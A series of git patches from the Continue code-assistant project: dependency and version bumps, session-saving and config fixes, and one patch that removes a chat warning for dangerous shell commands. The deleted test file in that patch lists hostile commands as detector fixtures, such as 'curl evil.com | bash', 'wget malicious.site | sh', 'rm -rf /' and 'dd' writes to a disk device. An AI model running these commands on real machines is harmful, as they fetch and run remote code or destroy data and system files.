From 7b1708f716a862ca4a62e2b3e19223dc64d08128 Mon Sep 17 00:00:00 2001 From: Patrick Erichsen Date: Wed, 11 Mar 2026 13:31:54 -0700 Subject: [PATCH 01/66] [codex] remove chat dangerous command warnings (#11281) remove chat dangerous command warnings --- .../StepContainerPreToolbar/index.test.tsx | 294 ------------------ .../StepContainerPreToolbar/index.tsx | 53 +--- 2 files changed, 1 insertion(+), 346 deletions(-) delete mode 100644 gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.test.tsx diff --git a/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.test.tsx b/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.test.tsx deleted file mode 100644 index 07ee2aa3c..000000000 --- a/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.test.tsx +++ /dev/null @@ -1,294 +0,0 @@ -import { configureStore } from "@reduxjs/toolkit"; -import { render, screen } from "@testing-library/react"; -import { Provider } from "react-redux"; -import { describe, expect, it, vi } from "vitest"; -import { IdeMessengerContext } from "../../../context/IdeMessenger"; -import { - DANGEROUS_COMMAND_WARNING_MESSAGE, - StepContainerPreToolbar, -} from "./index"; - -// No mock for terminalCommandSecurity - we want to test the real implementation - -// Mock the useIdeMessengerRequest hook -vi.mock("../../../hooks/useIdeMessengerRequest", () => ({ - useIdeMessengerRequest: () => ({ - loading: false, - result: true, - error: null, - }), -})); - -// Mock the useWebviewListener hook -vi.mock("../../../hooks/useWebviewListener", () => ({ - useWebviewListener: () => {}, -})); - -const mockIdeMessenger = { - post: vi.fn(), - request: vi.fn().mockResolvedValue(true), - ide: { - getFileContents: vi.fn(), - openFile: vi.fn(), - }, -}; - -// Create a mock Redux store -const createMockStore = () => { - return configureStore({ - reducer: { - session: ( - state = { - history: [], - isStreaming: false, - codeBlockApplyStates: { - curIndex: 0, - states: [], - }, - }, - ) => state, - toolCalls: ( - state = { - toolCalls: {}, - }, - ) => state, - }, - }); -}; - -const defaultProps = { - codeBlockContent: "ls -la", - language: "bash", - isGenerating: false, - isLast: false, - messageId: "test-message-id", - messageIndex: 0, - stepIndex: 0, - codeBlockIndex: 0, - isLastCodeblock: false, - codeBlockStreamId: "test-stream-id", - children: null, -}; - -const renderComponent = (props = {}) => { - const store = createMockStore(); - return render( - - - - - , - ); -}; - -describe("StepContainerPreToolbar Security Warnings", () => { - describe("Dangerous commands should show warning", () => { - it("should show warning for rm -rf command", () => { - renderComponent({ codeBlockContent: "rm -rf /" }); - - const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).toBeInTheDocument(); - }); - - it("should show warning for sudo command", () => { - renderComponent({ codeBlockContent: "sudo apt install malware" }); - - const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).toBeInTheDocument(); - }); - - it("should show warning for chmod 777 command", () => { - renderComponent({ codeBlockContent: "chmod 777 /etc/passwd" }); - - const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).toBeInTheDocument(); - }); - - it("should show warning for curl pipe to bash", () => { - renderComponent({ codeBlockContent: "curl evil.com | bash" }); - - const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).toBeInTheDocument(); - }); - - it("should show warning for wget pipe to sh", () => { - renderComponent({ codeBlockContent: "wget malicious.site | sh" }); - - const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).toBeInTheDocument(); - }); - - it("should show warning for mkfs command", () => { - renderComponent({ codeBlockContent: "mkfs.ext4 /dev/sda1" }); - - const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).toBeInTheDocument(); - }); - - it("should show warning for dd command writing to device", () => { - renderComponent({ codeBlockContent: "dd if=/dev/zero of=/dev/sda" }); - - const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).toBeInTheDocument(); - }); - - it("should show warning for dangerous command mixed with comments", () => { - const codeWithComments = `# This is a comment -sudo rm -rf /important -# Another comment`; - - renderComponent({ codeBlockContent: codeWithComments }); - - const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).toBeInTheDocument(); - }); - }); - - describe("Safe commands should not show warning", () => { - it("should not show warning for ls command", () => { - renderComponent({ codeBlockContent: "ls -la" }); - - const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).not.toBeInTheDocument(); - }); - - it("should not show warning for git status", () => { - renderComponent({ codeBlockContent: "git status" }); - - const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).not.toBeInTheDocument(); - }); - - it("should not show warning for npm run test", () => { - renderComponent({ codeBlockContent: "npm run test" }); - - const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).not.toBeInTheDocument(); - }); - - it("should not show warning for pwd command", () => { - renderComponent({ codeBlockContent: "pwd" }); - - const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).not.toBeInTheDocument(); - }); - - it("should not show warning for cat command", () => { - renderComponent({ codeBlockContent: "cat file.txt" }); - - const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).not.toBeInTheDocument(); - }); - - it("should not show warning for grep command", () => { - renderComponent({ codeBlockContent: "grep 'pattern' file.txt" }); - - const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).not.toBeInTheDocument(); - }); - - it("should not show warning for echo command", () => { - renderComponent({ codeBlockContent: "echo 'Hello World'" }); - - const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).not.toBeInTheDocument(); - }); - }); - - describe("Edge cases", () => { - it("should detect dangerous commands in sh language", () => { - renderComponent({ - codeBlockContent: "sudo rm -rf /", - language: "sh", - }); - - const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).toBeInTheDocument(); - }); - - it("should detect terminal commands without language specified", () => { - renderComponent({ - codeBlockContent: "ls -la", - language: undefined, - }); - - // ls is a common terminal command that's safe - const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).not.toBeInTheDocument(); - }); - - it("should handle multi-line scripts with mixed safe and dangerous commands", () => { - const multiLineScript = `echo "Starting script" -ls -la -sudo rm -rf /tmp/test -echo "Done"`; - - renderComponent({ codeBlockContent: multiLineScript }); - - const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).toBeInTheDocument(); - }); - - it("should not show warning for non-terminal code blocks", () => { - renderComponent({ - codeBlockContent: "const dangerous = 'rm -rf /'", - language: "javascript", - }); - - const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).not.toBeInTheDocument(); - }); - - it("should handle empty code blocks", () => { - renderComponent({ codeBlockContent: "" }); - - const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).not.toBeInTheDocument(); - }); - - it("should handle code blocks with only comments", () => { - const onlyComments = `# This is a comment -# Another comment -# Yet another comment`; - - renderComponent({ codeBlockContent: onlyComments }); - - const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).not.toBeInTheDocument(); - }); - }); - - describe("Warning UI elements", () => { - it("should display warning with correct styling", () => { - renderComponent({ codeBlockContent: "sudo rm -rf /" }); - - const warningContainer = screen.getByText( - DANGEROUS_COMMAND_WARNING_MESSAGE, - ).parentElement; - expect(warningContainer).toHaveClass( - "bg-warning/10", - "border-warning/30", - "text-warning", - ); - }); - - it("should display exclamation triangle icon with warning", () => { - renderComponent({ codeBlockContent: "sudo rm -rf /" }); - - // Check for the icon by looking for its container with the warning - const warningContainer = screen.getByText( - DANGEROUS_COMMAND_WARNING_MESSAGE, - ).parentElement; - const icon = warningContainer?.querySelector("svg"); - expect(icon).toBeInTheDocument(); - expect(icon).toHaveClass("h-4", "w-4"); - }); - - it("should display full warning message", () => { - renderComponent({ codeBlockContent: "sudo rm -rf /" }); - - const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); - expect(warning).toBeInTheDocument(); - }); - }); -}); diff --git a/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx b/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx index 03cfe5a89..f9d268ccc 100644 --- a/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx +++ b/gui/src/components/StyledMarkdownPreview/StepContainerPreToolbar/index.tsx @@ -1,8 +1,4 @@ -import { evaluateTerminalCommandSecurity } from "@continuedev/terminal-security"; -import { - ChevronDownIcon, - ExclamationTriangleIcon, -} from "@heroicons/react/24/outline"; +import { ChevronDownIcon } from "@heroicons/react/24/outline"; import { inferResolvedUriFromRelativePath } from "core/util/ideUtils"; import { renderContextItems } from "core/util/messageContent"; import { useContext, useEffect, useMemo, useState } from "react"; @@ -44,9 +40,6 @@ export interface StepContainerPreToolbarProps { collapsible?: boolean; } -export const DANGEROUS_COMMAND_WARNING_MESSAGE = - "Potentially dangerous command"; - export function StepContainerPreToolbar({ showToolCallStatusIcon, codeBlockContent, @@ -138,44 +131,6 @@ export function StepContainerPreToolbar({ const isGeneratingCodeBlock = isLastItem && isLastCodeblock && isStreaming; - // Check if this is a bash/shell code block and evaluate security - const securityWarning = useMemo(() => { - // Check if it's a terminal code block (includes bash, sh, or looks like terminal commands) - if (isTerminalCodeBlock(language, codeBlockContent)) { - // First try evaluating the entire block - const wholeBlockEval = evaluateTerminalCommandSecurity( - "allowedWithoutPermission", - codeBlockContent, - ); - if ( - wholeBlockEval === "disabled" || - wholeBlockEval === "allowedWithPermission" - ) { - return true; - } - - // If the whole block seems safe, check individual lines - // This catches cases where dangerous commands are mixed with comments - const lines = codeBlockContent.split("\n"); - for (const line of lines) { - const trimmedLine = line.trim(); - // Skip empty lines and comments - if (!trimmedLine || trimmedLine.startsWith("#")) { - continue; - } - - const lineEval = evaluateTerminalCommandSecurity( - "allowedWithoutPermission", - trimmedLine, - ); - if (lineEval === "disabled" || lineEval === "allowedWithPermission") { - return true; - } - } - } - return false; - }, [language, codeBlockContent]); - // If we are creating a file, we already render that in the button // so we don't want to dispaly it twice here const displayFilepath = relativeFilepath ?? appliedFileUri; @@ -338,12 +293,6 @@ export function StepContainerPreToolbar({ return (
- {securityWarning && ( -
- - {DANGEROUS_COMMAND_WARNING_MESSAGE} -
- )}
Date: Thu, 12 Mar 2026 17:51:25 -0700 Subject: [PATCH 02/66] chore(deps): bump systeminformation from 5.30.6 to 5.30.8 in /extensions/vscode (#10630) * chore(deps): bump systeminformation in /extensions/vscode Bumps [systeminformation](https://github.com/sebhildebrandt/systeminformation) from 5.30.6 to 5.30.8. - [Release notes](https://github.com/sebhildebrandt/systeminformation/releases) - [Changelog](https://github.com/sebhildebrandt/systeminformation/blob/master/CHANGELOG.md) - [Commits](https://github.com/sebhildebrandt/systeminformation/compare/v5.30.6...v5.30.8) --- updated-dependencies: - dependency-name: systeminformation dependency-version: 5.30.8 dependency-type: direct:production ... Signed-off-by: dependabot[bot] * Fix package-lock.json sync issues Add back missing @types/node and undici-types peer dependencies that were removed by dependabot but are still required by inquirer and vite-node packages. The original dependabot PR incorrectly removed these peer dependency entries, causing npm ci to fail in CI with 'Missing from lock file' errors. Co-authored-by: dallin Generated with [Continue](https://continue.dev) Co-Authored-By: Continue --------- Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Dallin Romney Co-authored-by: RomneyDa Co-authored-by: Continue --- extensions/vscode/package-lock.json | 88 ++++++++++++++--------------- extensions/vscode/package.json | 2 +- 2 files changed, 45 insertions(+), 45 deletions(-) diff --git a/extensions/vscode/package-lock.json b/extensions/vscode/package-lock.json index 978c80880..d499724e8 100644 --- a/extensions/vscode/package-lock.json +++ b/extensions/vscode/package-lock.json @@ -48,7 +48,7 @@ "socket.io-client": "^4.7.2", "strip-ansi": "^7.1.0", "svg-builder": "^2.0.0", - "systeminformation": "^5.30.0", + "systeminformation": "^5.30.8", "tailwindcss": "^3.3.2", "undici": "^6.21.3", "uuid": "^9.0.1", @@ -7723,18 +7723,6 @@ } } }, - "node_modules/inquirer/node_modules/@types/node": { - "version": "25.0.3", - "resolved": "https://registry.npmjs.org/@types/node/-/node-25.0.3.tgz", - "integrity": "sha512-W609buLVRVmeW693xKfzHeIV6nJGGz98uCPfeXI1ELMLXVeKYZ9m15fAMSaUPBHYLGFsVRcMmSCksQOrZV9BYA==", - "dev": true, - "license": "MIT", - "optional": true, - "peer": true, - "dependencies": { - "undici-types": "~7.16.0" - } - }, "node_modules/inquirer/node_modules/ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", @@ -7758,15 +7746,6 @@ "node": ">=8" } }, - "node_modules/inquirer/node_modules/undici-types": { - "version": "7.16.0", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.16.0.tgz", - "integrity": "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==", - "dev": true, - "license": "MIT", - "optional": true, - "peer": true - }, "node_modules/ip-address": { "version": "9.0.5", "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-9.0.5.tgz", @@ -12768,9 +12747,9 @@ } }, "node_modules/systeminformation": { - "version": "5.30.6", - "resolved": "https://registry.npmjs.org/systeminformation/-/systeminformation-5.30.6.tgz", - "integrity": "sha512-LEIyK1aEv5P3BhAPW3swdlIyCihxwEq/Gki+kcONieU4PIeRCSLDuGkk0Va/56PSBgjVgEksOM88dmY6YqOyfQ==", + "version": "5.30.8", + "resolved": "https://registry.npmjs.org/systeminformation/-/systeminformation-5.30.8.tgz", + "integrity": "sha512-imB8LwJCc2DkufKlSRHfzbjhheGzpg1P31A4c55IKTq/ll6Agn1rhBOY+WmS/hyg5inGFp7AyZIK0gvq5rFO2Q==", "license": "MIT", "os": [ "darwin", @@ -14434,17 +14413,6 @@ "node": ">=18" } }, - "node_modules/vite-node/node_modules/@types/node": { - "version": "25.0.3", - "resolved": "https://registry.npmjs.org/@types/node/-/node-25.0.3.tgz", - "integrity": "sha512-W609buLVRVmeW693xKfzHeIV6nJGGz98uCPfeXI1ELMLXVeKYZ9m15fAMSaUPBHYLGFsVRcMmSCksQOrZV9BYA==", - "license": "MIT", - "optional": true, - "peer": true, - "dependencies": { - "undici-types": "~7.16.0" - } - }, "node_modules/vite-node/node_modules/debug": { "version": "4.4.1", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz", @@ -14567,14 +14535,6 @@ "fsevents": "~2.3.2" } }, - "node_modules/vite-node/node_modules/undici-types": { - "version": "7.16.0", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.16.0.tgz", - "integrity": "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==", - "license": "MIT", - "optional": true, - "peer": true - }, "node_modules/vite-node/node_modules/vite": { "version": "6.3.5", "resolved": "https://registry.npmjs.org/vite/-/vite-6.3.5.tgz", @@ -16808,6 +16768,46 @@ "funding": { "url": "https://github.com/sponsors/sindresorhus" } + }, + "node_modules/inquirer/node_modules/@types/node": { + "version": "25.4.0", + "resolved": "https://registry.npmjs.org/@types/node/-/node-25.4.0.tgz", + "integrity": "sha512-9wLpoeWuBlcbBpOY3XmzSTG3oscB6xjBEEtn+pYXTfhyXhIxC5FsBer2KTopBlvKEiW9l13po9fq+SJY/5lkhw==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "undici-types": "~7.18.0" + } + }, + "node_modules/inquirer/node_modules/undici-types": { + "version": "7.18.2", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.18.2.tgz", + "integrity": "sha512-/NtXf+S+BCQW/eOkxE5vKgDWr6T2GDn00K5hNT5ynDGKjxC/s3yDG6ow7FdI8OMOGiYtglD05p0qkCYhUq5yog==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/vite-node/node_modules/@types/node": { + "version": "25.4.0", + "resolved": "https://registry.npmjs.org/@types/node/-/node-25.4.0.tgz", + "integrity": "sha512-9wLpoeWuBlcbBpOY3XmzSTG3oscB6xjBEEtn+pYXTfhyXhIxC5FsBer2KTopBlvKEiW9l13po9fq+SJY/5lkhw==", + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "undici-types": "~7.18.0" + } + }, + "node_modules/vite-node/node_modules/undici-types": { + "version": "7.18.2", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.18.2.tgz", + "integrity": "sha512-/NtXf+S+BCQW/eOkxE5vKgDWr6T2GDn00K5hNT5ynDGKjxC/s3yDG6ow7FdI8OMOGiYtglD05p0qkCYhUq5yog==", + "license": "MIT", + "optional": true, + "peer": true } } } diff --git a/extensions/vscode/package.json b/extensions/vscode/package.json index d62667219..11828b2fc 100644 --- a/extensions/vscode/package.json +++ b/extensions/vscode/package.json @@ -767,7 +767,7 @@ "socket.io-client": "^4.7.2", "strip-ansi": "^7.1.0", "svg-builder": "^2.0.0", - "systeminformation": "^5.30.0", + "systeminformation": "^5.30.8", "tailwindcss": "^3.3.2", "undici": "^6.21.3", "uuid": "^9.0.1", From 6775b59807edd58b412c0c995264cae12e299a19 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 12 Mar 2026 17:51:45 -0700 Subject: [PATCH 03/66] chore(deps): bump hono from 4.11.7 to 4.12.7 in /core (#11283) Bumps [hono](https://github.com/honojs/hono) from 4.11.7 to 4.12.7. - [Release notes](https://github.com/honojs/hono/releases) - [Commits](https://github.com/honojs/hono/compare/v4.11.7...v4.12.7) --- updated-dependencies: - dependency-name: hono dependency-version: 4.12.7 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- core/package-lock.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/core/package-lock.json b/core/package-lock.json index 2c80a980d..870b019aa 100644 --- a/core/package-lock.json +++ b/core/package-lock.json @@ -13982,9 +13982,9 @@ } }, "node_modules/hono": { - "version": "4.11.7", - "resolved": "https://registry.npmjs.org/hono/-/hono-4.11.7.tgz", - "integrity": "sha512-l7qMiNee7t82bH3SeyUCt9UF15EVmaBvsppY2zQtrbIhl/yzBTny+YUxsVjSjQ6gaqaeVtZmGocom8TzBlA4Yw==", + "version": "4.12.7", + "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.7.tgz", + "integrity": "sha512-jq9l1DM0zVIvsm3lv9Nw9nlJnMNPOcAtsbsgiUhWcFzPE99Gvo6yRTlszSLLYacMeQ6quHD6hMfId8crVHvexw==", "license": "MIT", "engines": { "node": ">=16.9.0" From f69e47cd59e0cc0765a745853d81477d7e51fd72 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 12 Mar 2026 17:52:14 -0700 Subject: [PATCH 04/66] chore(deps): bump hono from 4.12.5 to 4.12.7 in /gui (#11284) Bumps [hono](https://github.com/honojs/hono) from 4.12.5 to 4.12.7. - [Release notes](https://github.com/honojs/hono/releases) - [Commits](https://github.com/honojs/hono/compare/v4.12.5...v4.12.7) --- updated-dependencies: - dependency-name: hono dependency-version: 4.12.7 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- gui/package-lock.json | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/gui/package-lock.json b/gui/package-lock.json index b55721f49..3b0aab061 100644 --- a/gui/package-lock.json +++ b/gui/package-lock.json @@ -134,7 +134,7 @@ "@sentry/core": "^9.43.0", "@sentry/esbuild-plugin": "^4.0.2", "@sentry/node": "^9.43.0", - "@sentry/vite-plugin": "^4.0.2", + "@sentry/vite-plugin": "^5.0.0", "@xenova/transformers": "2.14.0", "adf-to-md": "^1.1.0", "async-mutex": "^0.5.0", @@ -182,7 +182,7 @@ "sqlite": "^5.1.1", "sqlite3": "^5.1.7", "system-ca": "^1.0.3", - "tar": "^7.4.3", + "tar": "^7.5.10", "tree-sitter-wasms": "^0.1.11", "untildify": "^6.0.0", "uuid": "^9.0.1", @@ -9260,9 +9260,9 @@ "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" }, "node_modules/hono": { - "version": "4.12.5", - "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.5.tgz", - "integrity": "sha512-3qq+FUBtlTHhtYxbxheZgY8NIFnkkC/MR8u5TTsr7YZ3wixryQ3cCwn3iZbg8p8B88iDBBAYSfZDS75t8MN7Vg==", + "version": "4.12.7", + "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.7.tgz", + "integrity": "sha512-jq9l1DM0zVIvsm3lv9Nw9nlJnMNPOcAtsbsgiUhWcFzPE99Gvo6yRTlszSLLYacMeQ6quHD6hMfId8crVHvexw==", "license": "MIT", "peer": true, "engines": { From b9174c0ee853022f212b63d0bdbb58fdc48eadf4 Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Fri, 13 Mar 2026 11:52:20 -0700 Subject: [PATCH 05/66] jb 1.0.62, vscode 1.3.33 (#11396) --- extensions/intellij/gradle.properties | 2 +- extensions/vscode/package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/intellij/gradle.properties b/extensions/intellij/gradle.properties index d0546f198..3f996f52f 100644 --- a/extensions/intellij/gradle.properties +++ b/extensions/intellij/gradle.properties @@ -1,5 +1,5 @@ pluginGroup=com.github.continuedev.continueintellijextension -pluginVersion=1.0.61 +pluginVersion=1.0.62 platformVersion=2024.1 kotlin.stdlib.default.dependency=false org.gradle.configuration-cache=true diff --git a/extensions/vscode/package.json b/extensions/vscode/package.json index 11828b2fc..efddda5e9 100644 --- a/extensions/vscode/package.json +++ b/extensions/vscode/package.json @@ -2,7 +2,7 @@ "name": "continue", "icon": "media/icon.png", "author": "Continue Dev, Inc", - "version": "1.3.32", + "version": "1.3.33", "repository": { "type": "git", "url": "https://github.com/continuedev/continue" From f77daf2269dfcb8d729a73d04d7df7aa12b10c7f Mon Sep 17 00:00:00 2001 From: Aditya Mitra <61635505+uinstinct@users.noreply.github.com> Date: Sat, 14 Mar 2026 00:41:48 +0530 Subject: [PATCH 06/66] fix(cli): prevent empty sessions from being saved (#11076) * add /sessions slash command * do not save empty sessions * update tests * Update extensions/cli/src/services/ChatHistoryService.ts Co-authored-by: cubic-dev-ai[bot] <191113872+cubic-dev-ai[bot]@users.noreply.github.com> * remove duplicate telemetry capture --------- Co-authored-by: cubic-dev-ai[bot] <191113872+cubic-dev-ai[bot]@users.noreply.github.com> --- extensions/cli/src/commands/commands.ts | 5 ++++ .../src/services/ChatHistoryService.test.ts | 2 +- .../cli/src/services/ChatHistoryService.ts | 28 +++++++++++-------- extensions/cli/src/session.test.ts | 28 ++++++++++++++++++- extensions/cli/src/session.ts | 26 ++++++++++++++++- extensions/cli/src/slashCommands.ts | 8 ++++-- 6 files changed, 79 insertions(+), 18 deletions(-) diff --git a/extensions/cli/src/commands/commands.ts b/extensions/cli/src/commands/commands.ts index b14a5c4a0..dabfc82ee 100644 --- a/extensions/cli/src/commands/commands.ts +++ b/extensions/cli/src/commands/commands.ts @@ -111,6 +111,11 @@ export const SYSTEM_SLASH_COMMANDS: SystemCommand[] = [ description: "List background jobs", category: "system", }, + { + name: "sessions", + description: "Show all chat sessions", + category: "system", + }, ]; // Remote mode specific commands diff --git a/extensions/cli/src/services/ChatHistoryService.test.ts b/extensions/cli/src/services/ChatHistoryService.test.ts index a7e98803d..dcd4cf4d9 100644 --- a/extensions/cli/src/services/ChatHistoryService.test.ts +++ b/extensions/cli/src/services/ChatHistoryService.test.ts @@ -38,7 +38,7 @@ describe("ChatHistoryService", () => { expect(state.history).toEqual([]); expect(state.compactionIndex).toBeNull(); - expect(state.sessionId).toBe("test-session-id"); + expect(state.sessionId).toBe(""); expect(state.isRemoteMode).toBe(false); }); diff --git a/extensions/cli/src/services/ChatHistoryService.ts b/extensions/cli/src/services/ChatHistoryService.ts index 6fbc24e04..b4a1c56a7 100644 --- a/extensions/cli/src/services/ChatHistoryService.ts +++ b/extensions/cli/src/services/ChatHistoryService.ts @@ -1,11 +1,7 @@ import type { ChatHistoryItem, ToolStatus } from "core/index.js"; import { createHistoryItem } from "core/util/messageConversion.js"; -import { - updateSessionHistory, - loadSessionById, - createSession, -} from "../session.js"; +import { loadSessionById, updateSessionHistory } from "../session.js"; import { logger } from "../util/logger.js"; import { BaseService } from "./BaseService.js"; @@ -76,23 +72,31 @@ export class ChatHistoryService extends BaseService { /** * Initialize the service with optional session + * If no session is provided, we delay session creation until content is added */ async doInitialize( session?: any, isRemoteMode = false, ): Promise { - const activeSession = session || createSession([]); - logger.debug("Initializing ChatHistoryService", { - sessionId: activeSession.sessionId, - historyLength: activeSession.history.length, + sessionId: session?.sessionId, + historyLength: session?.history?.length, isRemoteMode, }); + if (session) { + return { + history: session.history || [], + compactionIndex: this.findCompactionIndex(session.history || []), + sessionId: session.sessionId, + isRemoteMode, + }; + } + return { - history: activeSession.history || [], - compactionIndex: this.findCompactionIndex(activeSession.history || []), - sessionId: activeSession.sessionId, + history: [], + compactionIndex: null, + sessionId: "", isRemoteMode, }; } diff --git a/extensions/cli/src/session.test.ts b/extensions/cli/src/session.test.ts index dc73922bd..51bb64566 100644 --- a/extensions/cli/src/session.test.ts +++ b/extensions/cli/src/session.test.ts @@ -195,7 +195,7 @@ describe("SessionManager", () => { }); describe("saveSession", () => { - it("should save the current session to file", () => { + it("should save the current session to file when it has content", () => { const session = getCurrentSession(); session.title = "Test Session"; session.history = [ @@ -216,6 +216,32 @@ describe("SessionManager", () => { ); }); + it("should not save empty sessions", () => { + const session = getCurrentSession(); + session.history = []; + + saveSession(); + + expect(mockFs.writeFileSync).not.toHaveBeenCalled(); + }); + + it("should not save sessions with only system messages", () => { + const session = getCurrentSession(); + session.history = [ + { + message: { + role: "system", + content: "System message", + }, + contextItems: [], + }, + ]; + + saveSession(); + + expect(mockFs.writeFileSync).not.toHaveBeenCalled(); + }); + it("should filter out system messages except the first one", () => { const session = getCurrentSession(); session.history = [ diff --git a/extensions/cli/src/session.ts b/extensions/cli/src/session.ts index 8a0173b95..a3dcc5b5a 100644 --- a/extensions/cli/src/session.ts +++ b/extensions/cli/src/session.ts @@ -264,12 +264,36 @@ export function getCompleteStateSnapshot( }; } +/** + * Check if a session has meaningful content for saving + */ +function hasSessionContent(session: Session): boolean { + if (!session.history || session.history.length === 0) { + return false; + } + + const nonSystemMessages = session.history.filter( + (item) => item.message.role !== "system", + ); + + return nonSystemMessages.length > 0; +} + /** * Save the current session to file */ export function saveSession(): void { try { - const session = SessionManager.getInstance().getCurrentSession(); + const manager = SessionManager.getInstance(); + if (!manager.hasSession()) { + return; + } + + const session = manager.getCurrentSession(); + if (!hasSessionContent(session)) { + return; + } + const sessionToSave = getSessionPersistenceSnapshot(session); historyManager.save(sessionToSave); } catch (error) { diff --git a/extensions/cli/src/slashCommands.ts b/extensions/cli/src/slashCommands.ts index 8ec3cc91e..7aaa49b1a 100644 --- a/extensions/cli/src/slashCommands.ts +++ b/extensions/cli/src/slashCommands.ts @@ -143,8 +143,6 @@ async function handleFork() { } function handleTitle(args: string[]) { - posthogService.capture("useSlashCommand", { name: "title" }); - const title = args.join(" ").trim(); if (!title) { return { @@ -173,6 +171,10 @@ function handleJobs() { return { openJobsSelector: true }; } +function handleSessions() { + return { openSessionSelector: true }; +} + const commandHandlers: Record = { help: handleHelp, clear: () => { @@ -202,13 +204,13 @@ const commandHandlers: Record = { title: handleTitle, rename: handleTitle, init: (args, assistant) => { - posthogService.capture("useSlashCommand", { name: "init" }); return handleInit(args, assistant); }, update: () => { return { openUpdateSelector: true }; }, jobs: handleJobs, + sessions: handleSessions, }; export async function handleSlashCommands( From 971da8b10897ba4655c606903f9467226dc68a46 Mon Sep 17 00:00:00 2001 From: Aditya Mitra <61635505+uinstinct@users.noreply.github.com> Date: Sat, 14 Mar 2026 00:44:22 +0530 Subject: [PATCH 07/66] fix: load config in project with no dirs (#10737) --- core/config/ConfigHandler.ts | 1 + gui/src/hooks/ParallelListeners.tsx | 3 +++ 2 files changed, 4 insertions(+) diff --git a/core/config/ConfigHandler.ts b/core/config/ConfigHandler.ts index 86489dc44..bd934777b 100644 --- a/core/config/ConfigHandler.ts +++ b/core/config/ConfigHandler.ts @@ -592,6 +592,7 @@ export class ConfigHandler { async getSerializedConfig(): Promise< ConfigResult > { + await this.isInitialized; if (!this.currentProfile) { return { config: undefined, diff --git a/gui/src/hooks/ParallelListeners.tsx b/gui/src/hooks/ParallelListeners.tsx index bccb7d25b..e8cb96a95 100644 --- a/gui/src/hooks/ParallelListeners.tsx +++ b/gui/src/hooks/ParallelListeners.tsx @@ -64,6 +64,9 @@ function ParallelListeners() { if (isInitial && hasDoneInitialConfigLoad.current) { return; } + if (configResult.configLoadInterrupted) { + return; + } hasDoneInitialConfigLoad.current = true; dispatch(setOrganizations(organizations)); dispatch(setSelectedOrgId(selectedOrgId)); From 